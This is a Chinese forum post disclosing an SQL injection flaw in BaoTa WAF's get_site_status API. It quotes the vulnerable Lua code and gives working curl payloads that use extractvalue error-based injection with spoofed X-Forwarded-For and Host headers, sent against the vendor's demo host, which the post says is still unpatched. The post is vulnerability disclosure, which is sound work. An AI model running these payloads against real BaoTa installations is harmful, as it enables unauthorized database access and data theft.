·设为首页收藏本站📧邮箱修改🎁免费下载专区🔐设置/修改密码👽群雄群聊
返回列表 发布新帖

又又发现了宝塔的 SQL 注入漏洞

174 1

马上注册,免费下载更多dz插件网资源。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
接上篇文章,在测试宝塔 WAF 的未授权访问漏洞时无意间还发现了一个 SQL 注入漏洞,品相还不错,可执行任意 SQL 语句。

总之,吃了一惊,一个防 SQL 注入的工具居然也有 SQL 注入漏洞。

请看这段代码

get_site_status = function ()
        if not ngx.ctx.get_uri_args.server_name then
                return Public.get_return_state(false, "参数错误")
        end

        ... 此处省略若干代码

        slot7, slot8, slot9, slot10 = slot4.query(slot4, [[
SELECT
                SUM(request) as req,
                SUM(err_40x) as err_40x,
                SUM(err_500) as err_500,
                SUM(err_502) as err_502,
                SUM(err_503) as err_503,
                SUM(err_504) as err_504,
                SUM(err_499) as err_499,
                SUM(send_bytes) as send_bytes,
                SUM(receive_bytes) as recv_bytes,
                SUM(pc_count) as pc_count,
                SUM(mobile_count) as mobile_count,
                SUM(spider_baidu) as spider_baidu,
                SUM(spider_google) as spider_google,
                SUM(spider_bing) as spider_bing,
                SUM(spider_360) as spider_360,
                SUM(spider_sogou) as spider_sogou,
                SUM(spider_other) as spider_other,
                SUM(ip_count) as ip_count,
                SUM(pv_count) as pv_count,
                SUM(uv_count) as uv_count
                 FROM `request_total` WHERE `server_name`=']] .. slot1 .. "' AND `date`='" .. os.date("%Y-%m-%d") .. "'")

        ... 此处省略若干代码

        return Public.get_return_state(true, slot6)
end
这段代码位于 /cloud_waf/nginx/conf.d/waf/public/waf_route.lua 文件中,源文件是 luajit 编译后的内容,反编译一下即可看到源码

这段逻辑就在上文提到的 get_site_status API 中,slot1 变量就是 server_name 参数。原理很简单,server_name 参数没有做任何校验就直接带入了 SQL 查询。

宝塔官网还没有修复这个问题,还是拿宝塔官网为例,试试以下命令:

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,database()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\btwaf': 1105: HY000."}
从响应来看已经注入成功,通过 updatexml 的报错成功的爆出了库名叫 btwaf

继续执行以下命令:

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,version()))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\8.1.0': 1105: HY000."}
从响应来看,mysql 版本是 8.1.0

在继续执行以下命令

curl "http://btwaf-demo.bt.cn/get_site_status?server_name='-extractvalue(1,concat(0x5c,(select'hello,world')))-'"  -H 'X-Forwarded-For: 127.0.0.1' -H 'Host: 127.0.0.251'
响应如下

{"status":false,"msg":"数据查询失败: XPATH syntax error: '\\hello,world': 1105: HY000."}
看起来 select 'hello,world' 也执行成功了,到此为止,基本可以执行任意命令。

漏洞已通报给宝塔官方,此漏洞危害较大,各位宝塔用户请关注宝塔官方补丁,及时更新。
我要说一句 收起回复

评论1

拾光Lv.8 发表于 2024-2-17 19:24:53 | 查看全部
感谢老哥分享 没装waf有影响吗?
我要说一句 收起回复

回复

 懒得打字嘛,点击右侧快捷回复【查看最新发布】   【应用商城享更多资源】
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图

您的IP:52.15.179.139,120.41.32.56,GMT+8, 2024-5-15 11:33 , Processed in 0.224713 second(s), 77 queries , Gzip On, Redis On.

Based on Discuz! W1.0 Licensed

© 2001-2024 Discuz! Team.

关灯 在本版发帖
扫一扫添加微信客服
QQ客服返回顶部
快速回复 返回顶部 返回列表